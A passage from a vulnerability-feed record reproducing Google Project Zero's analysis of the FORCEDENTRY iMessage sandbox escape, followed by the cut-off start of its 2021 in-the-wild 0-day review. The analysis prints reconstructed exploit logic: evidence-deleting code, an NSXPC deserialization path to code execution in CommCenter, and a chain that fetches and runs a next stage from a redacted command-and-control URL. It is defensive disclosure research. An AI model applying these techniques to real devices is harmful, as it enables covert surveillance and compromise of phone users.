|dArchive|\n\nIt's clearly a serialized [NSKeyedArchiver](<https://developer.apple.com/documentation/foundation/nskeyedarchiver?language=objc>). Definitely not what you'd expect to see in a JBIG2Bitmap object. Running strings we see plenty of interesting things (noting that the URL below is redacted):\n\nObjective-C class and selector names:\n\nNSFunctionExpression\n\nNSConstantValueExpression\n\nNSConstantValue\n\nexpressionValueWithObject:context:\n\nfilteredArrayUsingPredicate:\n\n_web_removeFileOnlyAtPath:\n\ncontext:evaluateMobileSubscriberIdentity:\n\nperformSelectorOnMainThread:withObject:waitUntilDone:\n\n...\n\nThe name of the file which delivered the exploit:\n\nXXX.gif\n\nFilesystems paths:\n\n/tmp/com.apple.messages\n\n/System/Library/PrivateFrameworks/SlideshowKit.framework/Frameworks/OpusFoundation.framework\n\na URL:\n\nhttps://XXX.cloudfront.net/YYY/ZZZ/megalodon?AAA\n\nUsing plutil we can convert the bplist00 binary format to XML. Performing some post-processing and cleanup we can see that the top-level object in the NSKeyedArchiver is a serialized NSFunctionExpression object.\n\n## NSExpression NSPredicate NSExpression\n\nIf you've ever used Core Data or tried to filter a Objective-C collection you might have come across NSPredicates. [According to Apple's public documentation](<https://developer.apple.com/documentation/foundation/nspredicate?language=objc>) they are used \"to define logical conditions for constraining a search for a fetch or for in-memory filtering\".\n\nFor example, in Objective-C you could filter an NSArray object like this:\n\nNSArray* names = @[@\"one\", @\"two\", @\"three\"];\n\nNSPredicate* pred;\n\npred = [NSPredicate predicateWithFormat:\n\n@\"SELF beginswith[c] 't'\"];\n\nNSLog(@\"%@\", [names filteredArrayUsingPredicate:pred]);\n\nThe predicate is \"SELF beginswith[c] 't'\". This prints an NSArray containing only \"two\" and \"three\".\n\n[NSPredicate predicateWithFormat] builds a predicate object by parsing a small query language, a little like an SQL query. \n\nNSPredicates can be built up from NSExpressions, connected by NSComparisonPredicates (like less-than, greater-than and so on.)\n\nNSExpressions themselves can be fairly complex, containing aggregate expressions (like \"IN\" and \"CONTAINS\"), subqueries, set expressions, and, most interestingly, function expressions.\n\nPrior to 2007 (in OS X 10.4 and below) function expressions were limited to just the following five extra built-in methods: sum, count, min, max, and average.\n\nBut starting in OS X 10.5 (which would also be around the launch of iOS in 2007) NSFunctionExpressions were extended [to allow ](<https://developer.apple.com/documentation/foundation/nsexpression>)[arbitrary](<https://developer.apple.com/documentation/foundation/nsexpression>)[ method invocations](<https://developer.apple.com/documentation/foundation/nsexpression>) with the FUNCTION keyword:\n\n\"FUNCTION('abc', 'stringByAppendingString', 'def')\" => @\"abcdef\"\n\nFUNCTION takes a target object, a selector and an optional list of arguments then invokes the selector on the object, passing the arguments. In this case it will allocate an NSString object @\"abc\" then invoke the stringByAppendingString: selector passing the NSString @\"def\", which will evaluate to the NSString @\"abcdef\".\n\nIn addition to the FUNCTION keyword there's CAST which allows full reflection-based access to all Objective-C types (as opposed to just being able to invoke selectors on literal strings and integers):\n\n\"FUNCTION(CAST('NSFileManager', 'Class'), 'defaultManager')\"\n\nHere we can get access to the NSFileManager class and call the defaultManager selector to get a reference to a process's shared file manager instance.\n\nThese keywords exist in the string representation of NSPredicates and NSExpressions. Parsing those strings involves creating a graph of NSExpression objects, NSPredicate objects and their subclasses like NSFunctionExpression. It's a serialized version of such a graph which is present in the JBIG2 bitmap.\n\nNSPredicates using the FUNCTION keyword are effectively Objective-C scripts. With some tricks it's possible to build nested function calls which can do almost anything you could do in procedural Objective-C. Figuring out some of those tricks was the key to the 2019 [Real World CTF](<https://realworldctf.com/>) [DezhouInstrumenz](<https://github.com/ChiChou/DezhouInstrumenz/>) challenge, which would evaluate an attacker supplied NSExpression format string. The [writeup by the challenge author](<https://blog.chichou.me/2021/01/16/see-no-eval-runtime-code-execution-objc/>) is a great introduction to these ideas and I'd strongly recommend reading that now if you haven't. The rest of this post builds on the tricks described in that post.\n\n## A tale of two parts\n\nThe only job of the JBIG2 logic gate machine described in the previous blog post is to cause the deserialization and evaluation of an embedded NSFunctionExpression. No attempt is made to get native code execution, ROP, JOP or any similar technique.\n\nPrior to iOS 14.5 the isa field of an Objective-C object was not protected by Pointer Authentication Codes (PAC), so the JBIG2 machine builds a fake Objective-C object with a fake isa such that the invocation of the dealloc selector causes the deserialization and evaluation of the NSFunctionExpression. This is very similar to the technique used by [Samuel in the 2020 SLOP post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html>). \n\nThis NSFunctionExpression has two purposes:\n\nFirstly, it allocates and leaks an ASMKeepAlive object then tries to cover its tracks by finding and deleting the .gif file which delivered the exploit.\n\nSecondly, it builds a payload NSPredicate object then triggers a logic bug to get that NSPredicate object evaluated in the CommCenter process, reachable from the IMTranscoderAgent sandbox via the com.apple.commcenter.xpc NSXPC service.\n\nLet's look at those two parts separately:\n\n## Covering tracks\n\nThe outer level NSFunctionExpression calls performSelectorOnMainThread:withObject:waitUntilDone which in turn calls makeObjectsPerformSelector:@\"expressionValueWithObject:context:\" on an NSArray of four NSFunctionExpressions. This allows the four independent NSFunctionExpressions to be evaluated sequentially.\n\nWith some manual cleanup we can recover pseudo-Objective-C versions of the serialized NSFunctionExpressions. \n\nThe first one does this:\n\n[[AMSKeepAlive alloc] initWithName:\"KA\"]\n\nThis allocates and then leaks an AppleMediaServices KeepAlive object. The exact purpose of this is unclear.\n\nThe second entry does this:\n\n[[NSFileManager defaultManager] _web_removeFileOnlyAtPath: \n\n[@\"/tmp/com.apple.messages\" stringByAppendingPathComponent:\n\n[ [ [ [\n\n[NSFileManager defaultManager]\n\nenumeratorAtPath: @\"/tmp/com.apple.messages\"\n\n]\n\nallObjects\n\n]\n\nfilteredArrayUsingPredicate:\n\n[\n\n[NSPredicate predicateWithFormat:\n\n[\n\n[@\"SELF ENDSWITH '\"\n\nstringByAppendingString: \"XXX.gif\"]\n\nstringByAppendingString: \"'\"\n\n] ] ] ]\n\nfirstObject\n\n]\n\n]\n\n]\n\nReading these single expression NSFunctionExpressions is a little tricky; breaking that down into a more procedural form it's equivalent to this:\n\nNSFileManager* fm = [NSFileManager defaultManager];\n\nNSDirectoryEnumerator* dir_enum;\n\ndir_enum = [fm enumeratorAtPath: @\"/tmp/com.apple.messages\"]\n\nNSArray* allTmpFiles = [dir_enum allObjects];\n\nNSString* filter;\n\nfilter = [\"@\"SELF ENDSWITH '\" stringByAppendingString: \"XXX.gif\"];\n\nfilter = [filter stringByAppendingString: \"'\"];\n\nNSPredicate* pred;\n\npred = [NSPredicate predicateWithFormat: filter]\n\nNSArray* matches;\n\nmatches = [allTmpFiles filteredArrayUsingPredicate: pred];\n\nNSString* gif_subpath = [matches firstObject];\n\nNSString* root = @\"/tmp/com.apple.messages\";\n\nNSString* full_path;\n\nfull_path = [root stringByAppendingPathComponent: gifSubpath];\n\n[fm _web_removeFileOnlyAtPath: full_path];\n\nThis finds the XXX.gif file used to deliver the exploit which iMessage has stored somewhere under the /tmp/com.apple.messages folder and deletes it.\n\nThe other two NSFunctionExpressions build a payload and then trigger its evaluation in CommCenter. For that we need to look at NSXPC.\n\n## NSXPC\n\nNSXPC is a semi-transparent remote-procedure-call mechanism for Objective-C. It allows the instantiation of proxy objects in one process which transparently forward method calls to the \"real\" object in another process:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOvov7r0oFPPVDeNeBSf3Hspypl5AGeZj30ulogkGLGBXJZoy4lDoiunsF9MptZWtnpCyKST1rrP3JtdyqUCvpsAopFrlqp_3b9EuHUFh9FJqnT3iANV_Esl-InoKip8mUjW3BRjNnPOpaj1dQyfoyr5O8apA4yJzsZcPc5mnTeMEsOcqAZQKBsKr5/s1437/image1%286%29.png>)\n\nhttps://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html\n\nI say NSXPC is only semi-transparent because it does enforce some restrictions on what objects are allowed to traverse process boundaries. Any object \"exported\" via NSXPC must also define a protocol which designates which methods can be invoked and the allowable types for each argument. The [NSXPC programming guide](<https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW7>) further explains the extra handling required for methods which require collections and other edge cases.\n\nThe low-level serialization used by NSXPC is the same explored by Natalie Silvanovich in her 2019 blog post looking at [the fully-remote attack surface of the iPhone](<https://googleprojectzero.blogspot.com/2019/08/the-fully-remote-attack-surface-of.html>). An important observation in that post was that subclasses of classes with any level of inheritance are also allowed, as is always the case with NSKeyedUnarchiver deserialization.\n\nThis means that any protocol object which declares a particular type for a field will also, by design, accept any subclass of that type.\n\nThe logical extreme of this would be that a protocol which declared an argument type of NSObject would allow any subclass, which is the vast majority of all Objective-C classes.\n\n## Grep to the rescue\n\nThis is fairly easy to analyze automatically. Protocols are defined statically so we can just find them and check each one. Tools like [RuntimeBrowser](<https://github.com/nst/RuntimeBrowser/>) and [classdump](<http://stevenygard.com/projects/class-dump/>) can parse the static protocol definitions and output human-readable source code. Grepping the output of RuntimeBrowser like this is sufficient to find dozens of cases of NSObject pointers in Objective-C protocols:\n\n$ egrep -Rn \"\\\\(NSObject \\\\*\\\\)arg\" *\n\nNot all the results are necessarily exposed via NSXPC, but some clearly are, including the following two matches in CoreTelephony.framework:\n\nFrameworks/CoreTelephony.framework/\\\n\nCTXPCServiceSubscriberInterface-Protocol.h:39:\n\n-(void)evaluateMobileSubscriberIdentity:\n\n(CTXPCServiceSubscriptionContext *)arg1\n\nidentity:(NSObject *)arg2\n\ncompletion:(void (^)(NSError *))arg3;\n\nFrameworks/CoreTelephony.framework/\\\n\nCTXPCServiceCarrierBundleInterface-Protocol.h:13:\n\n-(void)setWiFiCallingSettingPreferences:\n\n(CTXPCServiceSubscriptionContext *)arg1\n\nkey:(NSString *)arg2\n\nvalue:(NSObject *)arg3\n\ncompletion:(void (^)(NSError *))arg4;\n\nevaluateMobileSubscriberIdentity string appears in the list of selector-like strings we first saw when running strings on the bplist00. Indeed, looking at the parsed and beautified NSFunctionExpression we see it doing this:\n\n[ [ [CoreTelephonyClient alloc] init]\n\ncontext:X\n\nevaluateMobileSubscriberIdentity:Y]\n\nThis is a wrapper around the lower-level NSXPC code and the argument passed as Y above to the CoreTelephonyClient method corresponds to the identity:(NSObject *)arg2 argument passed via NSXPC to CommCenter (which is the process that hosts com.apple.commcenter.xpc, the NSXPC service underlying the CoreTelephonyClient). Since the parameter is explicitly named as NSObject* we can in fact pass any subclass of NSObject*, including an NSPredicate! Game over?\n\n## Parsing vs Evaluation\n\nIt's not quite that easy. The [DezhouInstrumentz writeup](<https://blog.chichou.me/2021/01/16/see-no-eval-runtime-code-execution-objc/>) discusses this attack surface and notes that there's an extra, specific mitigation. When an NSPredicate is deserialized by its initWithCoder: implementation it sets a flag which disables evaluation of the predicate until the allowEvaluation method is called.\n\nSo whilst you certainly can pass an NSPredicate* as the identity argument across NSXPC and get it deserialized in CommCenter, the implementation of evaluateMobileSubscriberIdentity: in CommCenter is definitely not going to call allowEvaluation: to make the predicate safe for evaluation then evaluateWithObject: and then evaluate it.\n\n## Old techniques, new tricks\n\nFrom the exploit we can see that they in fact pass an NSArray with two elements:\n\n[0] = AVSpeechSynthesisVoice\n\n[1] = PTSection {rows = NSArray { [0] = PTRow() }\n\nThe first element is an AVSpeechSynthesisVoice object and the second is a PTSection containing a single PTRow. Why?\n\nPTSection and PTRow are both defined in the PrototypeTools private framework. PrototypeTools isn't loaded in the CommCenter target process. Let's look at what happens when an AVSpeechSynthesisVoice is deserialized:\n\n## Finding a voice\n\nAVSpeechSynthesisVoice is implemented in AVFAudio.framework, which is loaded in CommCenter:\n\n$ sudo vmmap `pgrep CommCenter` | grep AVFAudio\n\n__TEXT 7ffa22c4c000-7ffa22d44000 r-x/r-x SM=COW \\\n\n/System/Library/Frameworks/AVFAudio.framework/Versions/A/AVFAudio\n\nAssuming that this was the first time that an AVSpeechSynthesisVoice object was created inside CommCenter (which is quite likely) the Objective-C runtime will call the initialize method on the AVSpeechSynthesisVoice class [before instantiating the first instance](<https://developer.apple.com/documentation/objectivec/nsobject/1418639-initialize?language=objc>).\n\n[AVSpeechSynthesisVoice initialize] has a dispatch_once block with the following code:\n\nNSBundle* bundle;\n\nbundle = [NSBundle bundleWithPath:\n\n@\"/System/Library/AccessibilityBundles/\\\n\nAXSpeechImplementation.bundle\"];\n\nif (![bundle isLoaded]) {\n\nNSError err;\n\n[bundle loadAndReturnError:&err]\n\n}\n\nSo sending a serialized AVSpeechSynthesisVoice object will cause CommCenter to load the /System/Library/AccessibilityBundles/AXSpeechImplementation.bundle library. With some scripting using otool -L to list dependencies we can find the following dependency chain from AXSpeechImplementation.bundle to PrototypeTools.framework:\n\n['/System/Library/AccessibilityBundles/\\\n\nAXSpeechImplementation.bundle/AXSpeechImplementation',\n\n'/System/Library/AccessibilityBundles/\\\n\nAXSpeechImplementation.bundle/AXSpeechImplementation',\n\n'/System/Library/PrivateFrameworks/\\\n\nAccessibilityUtilities.framework/AccessibilityUtilities',\n\n'/System/Library/PrivateFrameworks/\\\n\nAccessibilitySharedSupport.framework/AccessibilitySharedSupport',\n\n'/System/Library/PrivateFrameworks/Sharing.framework/Sharing',\n\n'/System/Library/PrivateFrameworks/\\\n\nPrototypeTools.framework/PrototypeTools']\n\nThis explains how the deserialization of a PTSection will succeed. But what's so special about PTSections and PTRows?\n\n## Predicated Sections\n\n[PTRow initwithcoder:] contains the following snippet:\n\nself->condition = [coder decodeObjectOfClass:NSPredicate\n\nforKey:@\"condition\"]\n\n[self->condition allowEvaluation]\n\nThis will deserialize an NSPredicate object, assign it to the PTRow member variable condition and call allowEvaluation. This is meant to indicate that the deserializing code considers this predicate safe, but there's no attempt to perform any validation on the predicate contents here. They then need one more trick to find a path to which will additionally evaluate the PTRow's condition predicate.\n\nHere's a snippet from [PTSection initWithCoder:]:\n\nNSSet* allowed = [NSSet setWithObjects: @[PTRow]]\n\nid* rows = [coder decodeObjectOfClasses:allowed forKey:@\"rows\"]\n\n[self initWithRows:rows]\n\nThis deserializes an array of PTRows and passes them to [PTSection initWithRows] which assigns a copy of the array of PTRows to PTSection->rows then calls [self _reloadEnabledRows] which in turn passes each row to [self _shouldEnableRow:]\n\n_shouldEnableRow:row {\n\nif (row->condition) {\n\nreturn [row->condition evaluateWithObject: self->settings]\n\n}\n\n}\n\nAnd thus, by sending a PTSection containing a single PTRow with an attached condition NSPredicate they can cause the evaluation of an arbitrary NSPredicate, effectively equivalent to arbitrary code execution in the context of CommCenter. \n\n## Payload 2\n\nThe NSPredicate attached to the PTRow uses a similar trick to the first payload to cause the evaluation of six independent NSFunctionExpressions, but this time in the context of the CommCenter process. They're presented here in pseudo Objective-C:\n\n### Expression 1\n\n[ [CaliCalendarAnonymizer sharedAnonymizedStrings]\n\nsetObject:\n\n@[[NSURLComponents\n\ncomponentsWithString:\n\n@\"https://cloudfront.net/XXX/XXX/XXX?aaaa\"], '0']\n\nforKey: @\"0\"\n\n]\n\nThe use of [CaliCalendarAnonymizer sharedAnonymizedStrings] is a trick to enable the array of independent NSFunctionExpressions to have \"local variables\". In this first case they create an [NSURLComponents](<https://developer.apple.com/documentation/foundation/nsurlcomponents>) object which is used to build parameterised URLs. This URL builder is then stored in the global dictionary returned by [CaliCalendarAnonymizer sharedAnonymizedStrings] under the key \"0\".\n\n### Expression 2\n\n[[NSBundle\n\nbundleWithPath:@\"/System/Library/PrivateFrameworks/\\\n\nSlideshowKit.framework/Frameworks/OpusFoundation.framework\"\n\n] load]\n\nThis causes the OpusFoundation library to be loaded. The exact reason for this is unclear, though the dependency graph of OpusFoundation does include AuthKit which is used by the next NSFunctionExpression. It's possible that this payload is generic and might also be expected to work when evaluated in processes where AuthKit isn't loaded.\n\n### Expression 3\n\n[ [ [CaliCalendarAnonymizer sharedAnonymizedStrings]\n\nobjectForKey:@\"0\" ]\n\nsetQueryItems:\n\n[ [ [NSArray arrayWithObject: \n\n[NSURLQueryItem\n\nqueryItemWithName: @\"m\"\n\nvalue:[AKDevice _hardwareModel] ]\n\n] arrayByAddingObject: \n\n[NSURLQueryItem\n\nqueryItemWithName: @\"v\"\n\nvalue:[AKDevice _buildNumber] ]\n\n] arrayByAddingObject:\n\n[NSURLQueryItem\n\nqueryItemWithName: @\"u\"\n\nvalue:[NSString randomString]]\n\n]\n\nThis grabs a reference to the NSURLComponents object stored under the \"0\" key in the global sharedAnonymizedStrings dictionary then parameterizes the HTTP query string with three values:\n\n[AKDevice _hardwareModel] returns a string like \"iPhone12,3\" which determines the exact device model.\n\n[AKDevice _buildNumber] returns a string like \"18A8395\" which in combination with the device model allows determining the exact firmware image running on the device.\n\n[NSString randomString] returns a decimal string representation of a 32-bit random integer like \"394681493\".\n\n### Expression 4\n\n[ [CaliCalendarAnonymizer sharedAnonymizedString]\n\nsetObject:\n\n[NSPropertyListSerialization\n\npropertyListWithData:\n\n[[[NSData\n\ndataWithContentsOfURL:\n\n[[[CaliCalendarAnonymizer sharedAnonymizedStrings]\n\nobjectForKey:@\"0\"] URL]\n\n] AES128DecryptWithPassword:NSData(XXXX)\n\n] decompressedDataUsingAlgorithm:3 error:]\n\noptions: Class(NSConstantValueExpression)\n\nformat: Class(NSConstantValueExpression)\n\nerrors:Class(NSConstantValueExpression)\n\n]\n\nforKey:@\"1\"\n\n]\n\nThe innermost reference to sharedAnonymizedStrings here grabs the NSURLComponents object and builds the full url from the query string parameters set last earlier. That url is passed to [NSData dataWithContentsOfURL:] to fetch a data blob from a remote server.\n\nThat data blob is decrypted with a hardcoded AES128 key, decompressed using zlib then parsed as a plist. That parsed plist is stored in the sharedAnonymizedStrings dictionary under the key \"1\".\n\n### Expression 5\n\n[ [[NSThread mainThread] threadDictionary]\n\naddEntriesFromDictionary:\n\n[[CaliCalendarAnonymizer sharedAnonymizedStrings]\n\nobjectForKey:@\"1\"]\n\n]\n\nThis copies all the keys and values from the \"next-stage\" plist into the main thread's theadDictionary.\n\n### Expression 6\n\n[ [NSExpression expressionWithFormat:\n\n[[[CaliCalendarAnonymizer sharedAnonymizedStrings]\n\nobjectForKey:@\"1\"]\n\nobjectForKey: @\"a\"]\n\n]\n\nexpressionValueWithObject:nil context:nil\n\n]\n\nFinally, this fetches the value of the \"a\" key from the next-stage plist, parses it as an NSExpression string and evaluates it.\n\n## End of the line\n\nAt this point we lose the ability to follow the exploit. The attackers have escaped the IMTranscoderAgent sandbox, requested a next-stage from the command and control server and executed it, all without any memory corruption or dependencies on particular versions of the operating system.\n\nIn response to this exploit [iOS 15.1 significantly reduced the computational power available to NSExpressions](<https://developer.apple.com/documentation/ios-ipados-release-notes/ios-ipados-15_1-release-notes>):\n\nNSExpression immediately forbids certain operations that have significant side effects, like creating and destroying objects. Additionally, casting string class names into Class objects with NSConstantValueExpression is deprecated.\n\nIn addition the PTSection and PTRow objects have been hardened with the following check added around the parsing of serialized NSPredicates:\n\nif (os_variant_allows_internal_security_policies(\n\n\"com.apple.PrototypeTools\") {\n\n[coder decodeObjectOfClass:NSPredicate forKey:@\"condition]\n\n...\n\nObject deserialization across trust boundaries still presents an enormous attack surface however.\n\n## Conclusion\n\nPerhaps the most striking takeaway is the depth of the attack surface reachable from what would hopefully be a fairly constrained sandbox. With just two tricks (NSObject pointers in protocols and library loading gadgets) it's likely possible to attack almost every initWithCoder implementation in the dyld_shared_cache. There are presumably many other classes in addition to NSPredicate and NSExpression which provide the building blocks for logic-style exploits.\n\nThe expressive power of NSXPC just seems fundamentally ill-suited for use across sandbox boundaries, even though it was designed with exactly that in mind. The attack surface reachable from inside a sandbox should be minimal, enumerable and reviewable. Ideally only code which is required for correct functionality should be reachable; it should be possible to determine exactly what that exposed code is and the amount of exposed code should be small enough that manually reviewing it is tractable. \n\nNSXPC requiring developers to explicitly add remotely-exposed methods to interface protocols is a great example of how to make the attack surface enumerable - you can at least find all the entry points fairly easily. However the support for inheritance means that the attack surface exposed there likely isn't reviewable; it's simply too large for anything beyond a basic example.\n\nRefactoring these critical IPC boundaries to be more prescriptive - only allowing a much narrower set of objects in this case - would be a good step towards making the attack surface reviewable. This would probably require fairly significant refactoring for NSXPC; it's built around natively supporting the Objective-C inheritance model and is used very broadly. But without such changes the exposed attack surface is just too large to audit effectively.\n\nThe advent of Memory Tagging Extensions (MTE), likely shipping in multiple consumer devices across the ARM ecosystem this year, [is a big step in the defense against memory corruption exploitation](<https://www.usenix.org/system/files/login/articles/login_summer19_03_serebryany.pdf>). But attackers innovate too, and are likely already two steps ahead with a renewed focus on logic bugs. This sandbox escape exploit is likely a sign of the shift we can expect to see over the next few years if the promises of MTE can be delivered. And this exploit was far more extensible, reliable and generic than almost any memory corruption exploit could ever hope to be.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-31T00:00:00", "type": "googleprojectzero", "title": "\nFORCEDENTRY: Sandbox Escape\n", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-30737"], "modified": "2022-03-31T00:00:00", "id": "GOOGLEPROJECTZERO:FF8B615E4ADCFC0DAC2F4E6FA3782960", "href": "https://googleprojectzero.blogspot.com/2022/03/forcedentry-sandbox-escape.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-09T02:00:42", "description": "A Year in Review of 0-days Used In-the-Wild in 2021\n\nPosted by Maddie Stone, Google Project Zero\n\nThis is our third annual year in review of 0-days exploited in-the-wild [[2020](<https://googleprojectzero.blogspot.com/2021/02/deja-vu-lnerability.html>), [2019](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>)]. Each year we\u2019ve looked back at all of the detected and disclosed in-the-wild 0-days as a group and synthesized what we think the trends and takeaways are. The goal of this report is not to detail each individual exploit, but instead to analyze the exploits from the year as a group, looking for trends, gaps, lessons learned, successes, etc. If you\u2019re interested in the analysis of individual exploits, please check out our [root cause analysis repository](<https://googleprojectzero.blogspot.com/p/rca.html>).\n\nWe perform and share this analysis in order to make 0-day hard. We want it to be more costly, more resource intensive, and overall more difficult for attackers to use 0-day capabilities. 2021 highlighted just how important it is to stay relentless in our pursuit to make it harder for attackers to exploit users with 0-days. We heard [over](<https://forbiddenstories.org/about-the-pegasus-project/>) and [over](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>) and [over](<https://www.amnesty.org/en/latest/research/2021/11/devices-of-palestinian-human-rights-defenders-hacked-with-nso-groups-pegasus-spyware-2/>) about how governments were targeting journalists, minoritized populations, politicians, human rights defenders, and even security researchers around the world. The decisions we make in the security and tech communities can have real impacts on society and our fellow humans\u2019 lives.\n\nWe\u2019ll provide our evidence and process for our conclusions in the body of this post, and then wrap it all up with our thoughts on next steps and hopes for 2022 in the conclusion. If digging into the bits and bytes is not your thing, then feel free to just check-out the Executive Summary and Conclusion.\n\n# Executive Summary\n\n2021 included the detection and disclosure of 58 in-the-wild 0-days, the most ever recorded since Project Zero began tracking in mid-2014. That\u2019s more than double the previous maximum of 28 detected in 2015 and especially stark when you consider that there were only 25 detected in 2020. We\u2019ve tracked publicly known in-the-wild 0-day exploits in [this spreadsheet](<https://docs.google.com/spreadsheets/d/1lkNJ0uQwbeC1ZTRrxdtuPLCIl7mlUreoKfSIgajnSyY/edit#gid=0>) since mid-2014.\n\nWhile we often talk about the number of 0-day exploits used in-the-wild, what we\u2019re actually discussing is the number of 0-day exploits detected and disclosed as in-the-wild. And that leads into our first conclusion: we believe the large uptick in in-the-wild 0-days in 2021 is due to increased detection and disclosure of these 0-days, rather than simply increased usage of 0-day exploits.\n\nWith this record number of in-the-wild 0-days to analyze we saw that attacker methodology hasn\u2019t actually had to change much from previous years. Attackers are having success using the same bug patterns and exploitation techniques and going after the same attack surfaces. Project Zero\u2019s mission is \u201cmake 0day hard\u201d. 0-day will be harder when, overall, attackers are not able to use public methods and techniques for developing their 0-day exploits. When we look over these 58 0-days used in 2021, what we see instead are 0-days that are similar to previous & publicly known vulnerabilities. Only two 0-days stood out as novel: one for the technical sophistication of its exploit and the other for its use of logic bugs to escape the sandbox.\n\nSo while we recognize the industry\u2019s improvement in the detection and disclosure of in-the-wild 0-days, we also acknowledge that there\u2019s a lot more improving to be done. Having access to more \u201cground truth\u201d of how attackers are actually using 0-days shows us that they are able to have success by using previously known techniques and methods rather than having to invest in developing novel techniques. This is a clear area of opportunity for the tech industry.\n\nWe had so many more data points in 2021 to learn about attacker behavior than we\u2019ve had in the past. Having all this data, though, has left us with even more questions than we had before. Unfortunately, attackers who actively use 0-day exploits do not share the 0-days they\u2019re using or what percentage of 0-days we\u2019re missing in our tracking, so we\u2019ll never know exactly what proportion of 0-days are currently being found and disclosed publicly. \n\nBased on our analysis of the 2021 0-days we hope to see the following progress in 2022 in order to continue taking steps towards making 0-day hard:\n\n 1. All vendors agree to disclose the in-the-wild exploitation status of vulnerabilities in their security bulletins.\n 2. Exploit samples or detailed technical descriptions of the exploits are shared more widely.\n 3. Continued concerted efforts on reducing memory corruption vulnerabilities or rendering them unexploitable.Launch mitigations that will significantly impact the exploitability of memory corruption vulnerabilities.\n\n# A Record Year for In-the-Wild 0-days\n\n2021 was a record year for in-the-wild 0-days. So what happened?\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjC72HVhQEdwHNIzMiyb18bUFr6hPCWJiKL2Mm43-tW11qc0ucOPI8A9oChEXQe0-QNOBF83SIcfyjcyvPveuWvgipbiBzHWqZTx2-LilJFYIbx6uQeno9f481HJQ0CgylQkh8Ks7AbGC6tjhYDNBcI7jh6ihhzJATA0r_P4bQUBm-1lmHp2DPvWM6I/s1200/image1%287%29.png>)\n\nIs it that software security is getting worse? Or is it that attackers are using 0-day exploits more? Or has our ability to detect and disclose 0-days increased? When looking at the significant uptick from 2020 to 2021, we think it's mostly explained by the latter. While we believe there has been a steady growth in interest and investment in 0-day exploits by attackers in the past several years, and that security still needs to urgently improve, it appears that the security industry's ability to detect and disclose in-the-wild 0-day exploits is the primary explanation for the increase in observed 0-day exploits in 2021.\n\nWhile we often talk about \u201c0-day exploits used in-the-wild\u201d, what we\u2019re actually tracking are \u201c0-day exploits detected and disclosed as used in-the-wild\u201d. There are more factors than just the use that contribute to an increase in that number, most notably: detection and disclosure. Better detection of 0-day exploits and more transparently disclosed exploited 0-day vulnerabilities is a positive indicator for security and progress in the industry. \n\nOverall, we can break down the uptick in the number of in-the-wild 0-days into:\n\n * More detection of in-the-wild 0-day exploits\n * More public disclosure of in-the-wild 0-day exploitation\n\n## More detection\n\nIn the [2019 Year in Review](<https://googleprojectzero.blogspot.com/2020/07/detection-deficit-year-in-review-of-0.html>), we wrote about the \u201cDetection Deficit\u201d. We stated \u201cAs a community, our ability to detect 0-days being used in the wild is severely lacking to the point that we can\u2019t draw significant conclusions due to the lack of (and biases in) the data we have collected.\u201d In the last two years, we believe that there\u2019s been progress on this gap. \n\nAnecdotally, we hear from more people that they\u2019ve begun working more on detection of 0-day exploits. Quantitatively, while a very rough measure, we\u2019re also seeing the number of entities credited with reporting in-the-wild 0-days increasing. It stands to reason that if the number of people working on trying to find 0-day exploits increases, then the number of in-the-wild 0-day exploits detected may increase.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMbFpoEKSSn5AbAzsovaZ0yN6_OFXo9u4hpDCXJBpro8LRUWJlVQ9CSqtzT2V9ohrhOvP3_RnrYsOzFGPK0FZGJmW2713g2vVW82ReJVXpjAZc57BCxtHg8i-6AdR_ThDZB6UKvzAKekbmAkuUBliMyDyWSBW87z4ZZQJC3KX-_ptZIHveotLGoJ9I/s1200/image5%284%29.png>)\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRS0t_2Bwvc3U_EIr5h7NcWpQyjzHCPb4OMiDpzPxPs587otAEj8bzwch8UMFlgKchwdSq4L_PXRn1O6KGLHUl4X9voLBdZJNQsgQyJcMCVB4Y8-aRHaXRpOYZw7KVtyNYwdWpwX8ILUV1fyG2kDsXVWORsSPUBGVTON90gWf9POhhxA4edxNe1eoV/s1200/image2%285%29.png>)\n\nWe\u2019ve also seen the number of vendors detecting in-the-wild 0-days in their own products increasing. Whether or not these vendors were previously working on detection, vendors seem to have found ways to be more successful in 2021. Vendors likely have the most telemetry and overall knowledge and visibility into their products so it\u2019s important that they are investing in (and hopefully having success in) detecting 0-days targeting their own products. As shown in the chart above, there was a significant increase in the number of in-the-wild 0-days discovered by vendors in their own products. Google discovered 7 of the in-the-wild 0-days in their own products and Microsoft discovered 10 in their products!\n\n## More disclosure\n\nThe second reason why the number of detected in-the-wild 0-days has increased is due to more disclosure of these vulnerabilities. Apple and Google Android (we differentiate \u201cGoogle Android\u201d rather than just \u201cGoogle\u201d because Google Chrome has been annotating their security bulletins for the 